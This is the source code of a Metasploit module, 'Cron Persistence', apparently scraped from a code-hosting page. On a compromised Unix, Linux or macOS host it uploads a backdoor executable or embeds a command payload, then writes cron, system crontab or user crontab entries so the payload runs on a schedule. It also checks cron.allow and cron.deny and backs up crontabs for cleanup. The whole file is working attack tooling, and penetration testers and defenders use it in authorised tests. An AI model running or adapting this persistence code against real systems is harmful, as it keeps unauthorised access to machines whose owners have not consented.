Path: blob/master/modules/exploits/multi/persistence/cron.rb
23592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::FileDropper12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/cron_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Cron Persistence',22'Description' => %q{23This module will create a cron or crontab entry to execute a payload.24The module includes the ability to automatically clean up those entries to prevent multiple executions.25syslog will get a copy of the cron entry.26Verified on Ubuntu 22.04.1, MacOS 13.7.427},28'License' => MSF_LICENSE,29'Author' => [30'h00die <[email protected]>'31],32'Platform' => ['unix', 'linux', 'osx'],33'Targets' => [34[ 'Cron', { path: '/etc/cron.d' } ],35[ 'User Crontab', { path: '/var/spool/cron/crontabs' } ],36[ 'OSX User Crontab', { path: '/var/at/tabs/' } ],37[ 'System Crontab', { path: '/etc/crontab' } ]38],39'DefaultTarget' => 1,40'Arch' => [41ARCH_CMD,42ARCH_X86,43ARCH_X64,44ARCH_ARMLE,45ARCH_AARCH64,46ARCH_PPC,47ARCH_MIPSLE,48ARCH_MIPSBE49],50'SessionTypes' => [ 'shell', 'meterpreter' ],51'DisclosureDate' => '1979-07-01', # Version 7 Unix release date (first cron implementation)52'References' => [53['ATT&CK', Mitre::Attack::Technique::T1053_003_CRON]54],55'Notes' => {56'Stability' => [CRASH_SAFE],57'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],58'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]59}60)61)6263register_options(64[65OptString.new('USER', [false, 'User to run cron/crontab as', ''], conditions: ['Targets', 'in', ['User Crontab', 'OSX User Crontab']]),66OptString.new('TIMING', [false, 'Cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),67OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),68]69)70end7172def check73# https://gist.github.com/istvanp/310203 for cron regex validator74cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'75cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'76cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'77cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'78cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*79# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'8081return CheckCode::Unknown('Invalid timing format') unless datastore['TIMING'] =~ /#{cron_regex}/8283return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path])84# it may not be directly writable, but we can use crontab to write it for us85if !writable?(target.opts[:path]) && !command_exists?('crontab')86return CheckCode::Safe("Can't write to: #{target.opts[:path]} or crontab not found")87end8889if target.name == 'User Crontab' && !user_cron_permission?(target_user)90return CheckCode::Unknown('User denied cron via cron.deny')91end9293CheckCode::Appears('Cron timing is valid, no cron.deny entries found')94end9596def target_user97return datastore['USER'] unless datastore['USER'].blank?9899whoami100end101102def user_cron_permission?(user)103# double check we're allowed to do cron104# may also be /etc/cron.d/105paths = ['/etc/', '/etc/cron.d/']106paths.each do |path|107if readable?("#{path}cron.allow")108cron_auth = read_file("#{path}cron.allow")109if cron_auth && (cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/)110vprint_good("User located in #{path}cron.allow")111return true112end113end114next unless readable?("#{path}cron.deny")115116cron_auths = read_file("#{path}cron.deny")117if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/118vprint_error("User located in #{path}cron.deny")119return false120end121end122# no guidance, so we should be fine123true124end125126def install_persistence127cron_entry = datastore['TIMING']128cron_entry += " #{target_user}" unless ['User Crontab', 'OSX User Crontab'].include?(target.name)129if payload.arch.first == 'cmd'130payload_info['BadChars'] = "#%\x10\x13"131cron_entry += " #{regenerate_payload.encoded}"132payload_info.delete('BadChars')133else134file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)135backdoor = "#{writable_dir}/#{file_name}"136vprint_status("Writing backdoor to #{backdoor}")137upload_and_chmodx backdoor, generate_payload_exe138cron_entry += " #{backdoor}"139end140141case target.name142when 'Cron'143our_entry = Rex::Text.rand_text_alpha(8..15)144write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")145vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")146@clean_up_rc << "rm #{target.opts[:path]}/#{our_entry}\n"147148when 'System Crontab'149file_to_clean = target.opts[:path].to_s150crontab_backup = store_crontab_backup(file_to_clean, 'system crontab backup')151152append_file(file_to_clean, "\n#{cron_entry}\n")153vprint_good("Writing #{cron_entry} to #{file_to_clean}")154@clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"155156when 'User Crontab', 'OSX User Crontab'157path = target.opts[:path]158if !writable?(path)159print_status("Utilizing crontab since we can't write to #{path}")160cmd_exec("echo \"#{cron_entry}\" | crontab -")161else162file_to_clean = "#{path}/#{target_user}"163164crontab_backup = store_crontab_backup(file_to_clean, 'user crontab backup')165append_file(file_to_clean, "\n#{cron_entry}\n")166vprint_good("Writing #{cron_entry} to #{file_to_clean}")167# at least on ubuntu, we need to reload cron to get this to work168vprint_status('Reloading cron to pickup new entry')169170cmd_exec('service cron reload') if target.name == 'User Crontab'171@clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"172end173end174print_good('Payload will be triggered when cron time is reached')175end176177def store_crontab_backup(path, desc)178crontab_backup_content = read_file(path)179location = store_loot("crontab.#{path.split('/').last}",180'text/plain', session, crontab_backup_content,181path.split('/').last, desc)182vprint_good("Backed up #{path} to #{location}")183location184end185end186187188